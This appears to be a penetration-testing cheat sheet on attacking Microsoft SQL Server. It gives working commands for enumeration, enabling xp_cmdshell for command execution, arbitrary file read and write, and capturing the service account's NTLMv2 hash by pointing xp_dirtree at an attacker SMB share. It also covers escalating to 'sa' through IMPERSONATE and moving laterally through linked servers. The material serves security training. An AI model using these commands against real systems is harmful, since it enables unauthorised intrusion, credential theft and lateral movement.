MSSQL - Microsoft SQL
This section will cover ways to attack Microsoft SQL (MSSQL).
Table of Contents
- Overview
- Enumeration
- Nmap
- Metasploit
- Connection
- Exploitation
- Command Execution
- Write Files
- Read Files
- Capturing MSSQL Service Account Hash
- Impersonate Existing Users
- Communicating with other Databases
Overview
MSSQL is a relational database by Microsoft. During initial installation, the service is usually run by the "NT Service\MSSQLSERVER" user. By default, encryption is also not enforced.
By default, MSSQL uses TCP port 1433 and UDP port 1434. However, if it is running in "hidden" mode, it will be using TCP port 2433 instead.
To interact with the database, we can use SQL Server Management Studio (SMSS), which comes as a feature that can be installed with the MSSQL package or separately. Other clients can also be used to interact with the database.
Some examples of the clients are:
- mssql-cli
- SQL Server PowerShell
- HeidiSQL
- SQLPro
- Impacket MSSQLclient
There are several default databases in MSSQL.
| Database | Description |
|---|---|
| master | Tracks all system information for an SQL instance. |
| model | Acts as a template for new databases being created. Any changes made in this DB will be reflected in new DBs created. |
| msdb | The SQL Server Agent uses this database to schedule jobs and alerts. |
| tempdb | Stores temporary objects. |
| resource | A Read-only database containing system objects included with SQL server. |
Below are some basic SQL queries that can be used.
SELECT name FROM master.dbo.sysdatabases
USE <database name>
SELECT table_name FROM <database>.INFORMATION_SCHEMA.TABLES
SELECT * FROM <table name>
Enumeration
There are several tools that can be used to enumerate MSSQL.
This section will cove the following tools:
- Nmap
- Metasploit
Nmap
The following NSE scripts can be used:
- ms-sql-info
- ms-sql-empty-password
- ms-sql-xp-cmdshell
- ms-sql-config
- ms-sql-ntml-info
- ms-sql-tables
- ms-sql-hasdbaccess
- ms-sql-dac
- ms-sql-dump-hashes
We can use the following Nmap command to enumerate MSSQL.
nmap -sV -sC -p 1433 --script ms-sql* <Target IP>
Command breakdown:
-sV- Scan the version.-sC- Use Nmap default scripts.-p 1433- Specify the target port to scan.--script ms-sql*- Specify to use all scripts that starts withms-sql.<Target IP>- Specify the target IP address to scan.
Metasploit
We can use the scanner/mssql/mssql_ping module in Metasploit. To set it up, simply set the RHOSTS to the IP address of the target.
Connection
There are several ways that MSSQL can be exploited. Before exploiting, we will need to connect to the database.
On Linux, we can use impacket-mssqlclient or sqsh to do this.
impacket-mssqlclient <username>@<Target IP> -windows-auth
Command breakdown:
<username>- Specify the username to connect as.<Target IP>- Specify the target IP address to connect to.-windows-auth- Specify to use Windows authentication.
sqsh -S <Target IP> -U <username> -P '<password>'
Command breakdown:
-S <Target IP>- Specify the target IP address.-U <username>- Specify the username to use for authentication.-P '<password>'- Specify the password to use for authentication.
Note: When using sqsh, we will need to use GO after every query to execute it.
On Windows, we can use sqlcmd:
sqlcmd -S <Server Name> -U <username> -P '<password>'
Command breakdown:
-S <Target Computer Name>- Specify the target computer name.-U <username>- Specify the username to use for authentication.-P '<password>'- Specify the password to use for authentication.
Note: When using sqlcmd, we will need to use GO after every query to execute it.
Once we have a connection to the database using the above command or other methods, we can start exploiting.
Exploitation
There are several ways and tools that can be used to exploit MSSQL.
The following will be covered:
- Command Execution
- Write Files
- Read Files
- Capturing MSSQL Service Account Hash
- Impersonate Existing Users
- Communicating with other Databases
Command Execution
MSSQL has an extended stored procedures called xp_cmdshell which allows us to execute system commands using SQL.
Some things to note when using xp_cmdshell:
- It is disabled by default. It can be enabled and disabled by using the Policy-Based Management or executing
sp_configure. - The Windows process spawned by
xp_cmdshellhas the same security rights (permissions) as the SQL Server service account. xp_cmdshelloperates synchronously. This means that control is not returned to the caller until the command-shell command is completed.
We can use the following syntax to execute commands.
xp_cmdshell '<command>'
Breakdown:
<command>- Specify the command to run.
To enable xp_cmdshell, we can use the following commands or enable_xp_cmdshell.
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE
The above commands will:
- Allow advanced options to be changed.
- Update the currently configured value for advanced options.
- Enable the
xp_cmdshellfeature. - Update the currently configured value for the feature.
We can also use the EXECUTE() command to run commands on a linked database. More details on this will be covered in the "Communicating with other Databases" section.
Other methods to get command execution are adding extended stored procedures, CLR assemblies, SQL Server Agent Jobs, and using external scripts.
Other methods also include functionality such as xp_regwrite that is used to elevate privileges by creating new entries in the Windows registry.
Write Files
To write files using MSSQL, we will need to enable Ole Automation Procedures, which require admin privileges.
To enable the feature, we can use the following commands.
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO
Note: The above assumes that you are using sqlcmd. Otherwise the GO can be omitted.
To create a file, we can use the following:
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\path\to\output', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<File Contents>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
One liner:
DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:<path to output>', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<File Contents>' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE
Note: Change the c:<path to output> and <File Contents> accordingly.
Read Files
By default, MSSQL allows file read on any file in the operating system where it has read access.
We can use the following query to read a file:
SELECT * FROM OPENROWSET(BULK N'C:\path\to\file', SINGLE_CLOB) AS Contents
Replace the "C:\path\to\file" with the file to read.
Capturing MSSQL Service Account Hash
We can use steal the hash of the MSSQL service account using xp_subdirs or xp_dirtree undocumented stored procedures, which uses the SMB protocol to retrieve a list of child directories under a specified parent directory from the file system.
When using one of the stored procedures, the directory listening functionality will force the server to authenticate and send the NTLMv2 hash of the service account that is running the SQL server.
For this to work, we will need Responder or Impacket-smbserver running while executing one of the following queries.
XP_DIRTREE hash stealing:
EXEC master..xp_dirtree '\\<Attacker IP>\<share name>\'
XP_SUBDIRS hash stealing:
EXEC master..xp_subdirs '\\<ATTACKER IP>\<share name>\'
To start responder or impacket-smbserver, use the following commands.
sudo responder -I <interface>
sudo impacket-smbserver <share name> ./ -smb2support
Impersonate Existing Users
There is a special permission called IMPERSONATE that allows the executing user to take on the permissions of another user login until the context is reset or the session ends.
To start, we will need to identify users that we can impersonate. Administrators can impersonate anyone by default while non-administrative users must have privileges explicitly assigned.
We can use the following query to identify users to impersonate.
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
One Liner:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
Once identified, we can use the following query to impersonate as a user. This example will use sa.
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
Note: It is recommended to run EXECUTE AS LOGIN within the master DB as all users, by default, have access to the DB. Attempting to impersonate a user that does not have access to the DB we are connecting to will give us an error. To use the master DB, use the USE master query.
Communicating with other Databases
MSSQL has a configuration option called linked servers. Link servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL server, or another database product.
We can move laterally using the credentials from the remote server. If those credentials have sysadmin privileges, we can potentially execute commands in the remote SQL instance.
Identify Linked Servers:
SELECT srvname, isremote FROM sysservers
Once we have identified the server, we can attempt to identify the user used for the connection and privileges. The EXECUTE statement can be used to send pass-through commands to linked servers.
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [<IP or Computer Name>\<Instance name>]
To execute commands on the linked database, we can use the following:
EXECUTE('<command>') AT [<IP or Computer Name>\<Instance name>]
Command breakdown:
<command>- Specify the command to execute.<IP or Computer Name>- Specify the IP address or computer name of the linked database machine. Not required for local linked databases.<Instance name>- Specify the instance name of the linked database.
If the command requires single quotes ('), we can use double quotes (") at the execute command, An example will be:
EXECUTE("<command>") AT [<Instance name>]
Note: Multiple commands can be run at the same time using a semi-colon (;).